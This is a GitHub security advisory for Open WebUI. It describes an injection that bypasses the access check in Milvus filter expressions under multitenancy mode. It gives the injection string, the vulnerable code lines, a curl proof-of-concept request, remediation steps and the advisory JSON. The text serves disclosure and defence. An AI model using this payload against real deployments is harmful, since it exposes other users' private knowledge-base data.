GHSA-P5CP-R7RG-QPXC

Vulnerability from github – Published: 2026-06-17 17:57 – Updated: 2026-07-20 21:08
VLAI
Summary
Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode
Details

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

  • GHSA-h36f-rqpx-j5wx
  • CVE-2026-44560
  • "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

  1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
  2. Escape or parameterize Milvus expression values before building filters.
  3. Reject collection names containing quotes/control characters unless they match a known internal format.
  4. Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:57:43Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "MODERATE"
  },
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "GHSA-p5cp-r7rg-qpxc",
  "modified": "2026-07-20T21:08:21Z",
  "published": "2026-06-17T17:57:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54019"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2750.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}



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